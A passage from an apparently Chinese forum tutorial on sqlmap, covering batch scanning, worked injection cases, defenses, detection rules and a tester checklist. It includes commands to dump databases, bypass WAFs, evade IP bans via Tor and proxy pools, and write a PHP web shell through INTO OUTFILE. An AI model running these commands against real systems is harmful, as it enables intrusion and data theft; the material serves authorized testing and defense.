  5. sqlmap --flush-session # 清除当前目标会话
  6. sqlmap --fresh-queries # 忽略已缓存的查询结果
  7. # 修改 sqlmap 的输出目录
  8. sqlmap -u "..." --output-dir=/mnt/data/sqlmap_output/
复制代码

12.4 自动化与批量

  1. # 全程非交互模式(适合脚本化)
  2. sqlmap -u "http://target.com/page.php?id=1" --batch --dump
  3. # 解析 Burp 日志,自动测试所有 URL
  4. sqlmap -l burp_targets.log --batch --smart
  5. # --smart 参数:只在有明确注入迹象时才深入测试,减少请求量
  6. sqlmap -u "http://target.com/page.php?id=1" --smart
  7. # 从文件批量扫描(一行一个 URL)
  8. sqlmap -m urls.txt --batch --dbs
复制代码

12.5 读取 HTTPS 流量(配合 Burp)

  1. # 方案 1: 使用 Burp 作为上游代理
  2. sqlmap -u "https://target.com/page.php?id=1" \
  3. --proxy="http://127.0.0.1:8080"
  4. # 方案 2: 导出 Burp 请求到文件,sqlmap 重放
  5. # 在 Burp 中 右键 → "Copy to file" → request.txt
  6. sqlmap -r request.txt --ignore-ssl
  7. # 方案 3: 添加 Burp 的 CA 证书,信任 Burp 的 SSL 拦截
  8. sqlmap -u "https://target.com/page.php?id=1" --ignore-ssl
复制代码

13. 实战案例集

案例 1:标准 GET 注入 → 完整导出

  1. # 目标: http://testphp.vulnweb.com/listproducts.php?cat=1
  2. # Step 1: 检测
  3. sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
  4. # Step 2: 获取数据库
  5. sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch
  6. # Step 3: 选目标库导出所有表
  7. sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
  8. -D acuart --tables --batch
  9. # Step 4: 导出用户表
  10. sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
  11. -D acuart -T users --dump --batch
复制代码

案例 2:POST JSON 注入

  1. # 目标: POST API 接口,JSON 参数存在注入
  2. # POST /api/search HTTP/1.1
  3. # Content-Type: application/json
  4. # {"keyword":"test","limit":10}
  5. # 保存为 request.txt,并在注入位置加 *
  6. # {"keyword":"test*","limit":10}
  7. sqlmap -r request.txt --batch --dbs
复制代码

案例 3:Cookie 注入(需 level ≥ 2)

  1. sqlmap -u "http://target.com/index.php" \
  2. --cookie="session=abc123" --level=2 --batch
  3. # --level=2 才会测试 Cookie 中的参数
复制代码

案例 4:User-Agent 注入(需 level ≥ 3)

  1. sqlmap -u "http://target.com/index.php" --level=3 --batch \
  2. --user-agent="Mozilla/5.0"
  3. # 或直接用 -p 指定参数
  4. sqlmap -u "http://target.com/index.php" \
  5. -p user-agent --user-agent="test" --batch
复制代码

案例 5:WAF 绕过(ModSecurity)

  1. sqlmap -u "http://target.com/page.php?id=1" \
  2. --tamper=space2comment,randomcase,charencode \
  3. --random-agent \
  4. --delay=2 \
  5. --level=3 \
  6. --batch
复制代码

案例 6:提取所有库的 Schema 并保存

  1. sqlmap -u "http://target.com/page.php?id=1" \
  2. --schema --batch \
  3. --output-dir=./output/
  4. # 会在 ./output/ 下生成完整的数据库结构
复制代码

案例 7:利用堆叠查询写入 Webshell

  1. # 前提:确认支持堆叠查询且 MySQL 有写入权限
  2. sqlmap -u "http://target.com/page.php?id=1" \
  3. --technique=S \
  4. --sql-query="SELECT '<?php system(\$_GET[cmd]); ?>' \
  5. INTO OUTFILE '/var/www/html/shell.php'"
复制代码

案例 8:时间盲注提取大数据

  1. # 时间盲注很慢,需要优化
  2. sqlmap -u "http://target.com/page.php?id=1" \
  3. --technique=T \
  4. --time-sec=2 \ # 缩短延时时间
  5. --threads=5 \ # 并发(小心触发 WAF)
  6. --no-cast \ # 跳过类型检测
  7. --hex # 用十六进制传输,避免字符集问题
复制代码

14. 检测与防御 SQL 注入

14.1 开发层面:根本防御

  1. # ============ 正确做法:参数化查询 ============
  2. # Python (MySQL)
  3. cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  4. # Java (JDBC PreparedStatement)
  5. PreparedStatement ps = conn.prepareStatement(
  6. "SELECT * FROM users WHERE id = ?");
  7. ps.setInt(1, userId);
  8. # PHP (PDO)
  9. $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
  10. $stmt->execute(['id' => $userId]);
  11. # Go (database/sql)
  12. db.Query("SELECT * FROM users WHERE id = ?", userId)
  13. # ============ 错误做法:字符串拼接 ============
  14. # ❌ 永远不要这样做
  15. query = "SELECT * FROM users WHERE id = " + user_id
  16. cursor.execute(query)
复制代码

14.2 防御层

  1. # 第一层:代码层(参数化查询)
  2. # → 这是唯一的根本解决方案
  3. # 第二层:输入验证
  4. # → 白名单验证 & 类型检查
  5. # → if (!is_numeric($id)) die("Invalid input");
  6. # 第三层:最小权限
  7. # → 应用账号不要用 root/sa
  8. # → SELECT 只需 SELECT 权限
  9. # → 撤销 FILE、EXECUTE 等危险权限
  10. # 第四层:WAF (Web Application Firewall)
  11. # → ModSecurity、Cloudflare、AWS WAF
  12. # → 可以阻挡 80%+ 的自动化扫描
  13. # 第五层:监控告警
  14. # → 监控异常 SQL 错误日志
  15. # → 监控大量 500 错误
复制代码

14.3 检测 sqlmap 流量

sqlmap 的默认流量有一些特征:

  1. # 典型的 sqlmap UA(会被更新,仅供参考)
  2. User-Agent: sqlmap/1.8.x#stable (https://sqlmap.org)
  3. # URL 中常见的 sqlmap 测试特征
  4. ?parameter=1%20AND%201=1
  5. ?parameter=1'%20AND%20'1'='1
  6. ?parameter=1%20AND%20SLEEP(5)
  7. # 检测规则(ModSecurity 示例)
  8. SecRule REQUEST_URI|REQUEST_BODY "@rx (?i)\b(SELECT\s+IF\s*\(|SLEEP\s*\(|BENCHMARK\s*\()" \
  9. "id:100001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
复制代码

但注意:通过 --tamper、--random-agent、--delay 等参数,sqlmap 可以轻松绕过这些简单的特征检测。


15. 常见问题与排错

15.1 注入检测不到?

  1. # 排查清单:
  2. ☐ 提高检测等级: --level=3 --risk=2
  3. ☐ 指定测试参数: -p 参数名
  4. ☐ 指定数据库类型: --dbms=mysql
  5. ☐ 添加必要认证: --cookie, --headers, --auth-cred
  6. ☐ 检查是否有 WAF: --identify-waf
  7. ☐ 尝试 tamper 绕过: --tamper=space2comment
  8. ☐ 提高响应超时: --timeout=30
  9. ☐ 使用代理抓包检查: --proxy="http://127.0.0.1:8080"
复制代码

15.2 能检测但无法提取数据?

  1. # 原因和解决方法:
  2. # 问题 1: 字符集/编码问题
  3. sqlmap -u "..." --hex # 使用十六进制编码传输
  4. # 问题 2: 数据类型转换问题
  5. sqlmap -u "..." --no-cast # 关闭类型转换
  6. # 问题 3: 查询结果被截断
  7. sqlmap -u "..." --text-only # 只使用文本比较
  8. sqlmap -u "..." --no-escape # 关闭字符串转义
  9. # 问题 4: 时间盲注太慢导致超时
  10. sqlmap -u "..." --time-sec=1 # 降低延时检测时间
  11. sqlmap -u "..." --threads=5 # 增加并发线程
复制代码

15.3 被 WAF 封 IP 了?

  1. # 方案 1: 延时 + 随机 UA
  2. --delay=5 --random-agent
  3. # 方案 2: 使用代理池
  4. --proxy-file=proxies.txt # 文件每行一个代理地址
  5. # 方案 3: 使用 Tor
  6. sudo systemctl start tor
  7. sqlmap -u "..." --tor --check-tor
  8. # 方案 4: 限制线程
  9. --threads=1
复制代码

15.4 sqlmap 常用调试技巧

  1. # 详细输出(3 是最详细)
  2. sqlmap -u "..." -v 3
  3. # 输出等级:
  4. # 0: 只显示 Python 回溯、错误和关键信息
  5. # 1: 同时显示信息和警告信息
  6. # 2: 同时显示调试信息
  7. # 3: 同时显示注入的 payload
  8. # 4: 同时显示 HTTP 请求
  9. # 5: 同时显示 HTTP 响应头
  10. # 6: 同时显示 HTTP 响应内容
  11. # 输出所有 HTTP 流量(最详细的调试)
  12. sqlmap -u "..." -v 6
  13. # 用 Burp 拦截查看 sqlmap 发出的实际请求
  14. sqlmap -u "..." --proxy="http://127.0.0.1:8080" -v 3
  15. # 测试 WAF 是否存在
  16. sqlmap -u "..." --identify-waf
复制代码

16. 总结与最佳实践

16.1 测试者检查清单

  1. ☐ 1. 获得明确的书面授权
  2. ☐ 2. 确认测试范围(IP、域名、时间段)
  3. ☐ 3. 先用 --dbs 等只读操作探测
  4. ☐ 4. 不要使用 --risk=3(可能修改数据)
  5. ☐ 5. 不要在生产环境使用 --os-shell
  6. ☐ 6. 控制请求速率(--delay),避免 DDoS
  7. ☐ 7. 记录所有测试操作和时间
  8. ☐ 8. 测试完成后提交报告
  9. ☐ 9. 不得将获取的数据用于非授权目的
复制代码

16.2 常用命令别名(加入 ~/.bashrc 或 ~/.zshrc)

  1. alias sm='sqlmap'
  2. alias smu='sqlmap -u'
  3. alias smr='sqlmap -r'
  4. alias sm-batch='sqlmap --batch --random-agent'
  5. alias sm-dump='sqlmap --batch --dump'
  6. alias sm-proxy='sqlmap --proxy="http://127.0.0.1:8080"'
复制代码

16.3 与其他工具的配合

工具配合方式
Burp Suite用 Burp 抓包 → 导出到文件 → sqlmap -r 重放
nmapnmap -p 80,443 --script http-sql-injection 先发现目标
gobuster/dirb发现 Web 路径后交给 sqlmap 测试参数
whatweb识别 Web 技术栈,帮助选择正确的 --dbms 和 --tamper
Metasploitsqlmap 获取凭证 → Metasploit 做后续渗透

16.4 学习资源

  1. # sqlmap 官方 Wiki
  2. https://github.com/sqlmapproject/sqlmap/wiki
  3. # 查看所有参数
  4. sqlmap --help # 基础帮助
  5. sqlmap -hh # 完整帮助(所有高级参数)
  6. # 查看 Tamper 脚本源码
  7. cat /usr/share/sqlmap/tamper/space2comment.py
复制代码

参考文献

  1. sqlmap 官方项目: https://github.com/sqlmapproject/sqlmap
  2. OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
  3. OWASP Testing Guide v4 - SQL Injection: https://owasp.org/www-project-web-security-testing-guide/
  4. MySQL 官方文档 - SQL Injection: https://dev.mysql.com/doc/refman/8.0/en/sql-injection.html
  5. PortSwigger Web Security Academy - SQL Injection: https://portswigger.net/web-security/sql-injection
  6. Clarke, J. (2012). SQL Injection Attacks and Defense (2nd ed.). Syngress.

作者注:本文涵盖 sqlmap 的完整使用方法,从基础安装到高级 Tamper 绕过。sqlmap 是一把双刃剑——在安全从业者手中是诊断利器,在攻击者手中是破坏工具。请务必在授权环境中使用本文知识,切莫触及法律红线。如果在学习过程中遇到问题,欢迎在评论区交流讨论!

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行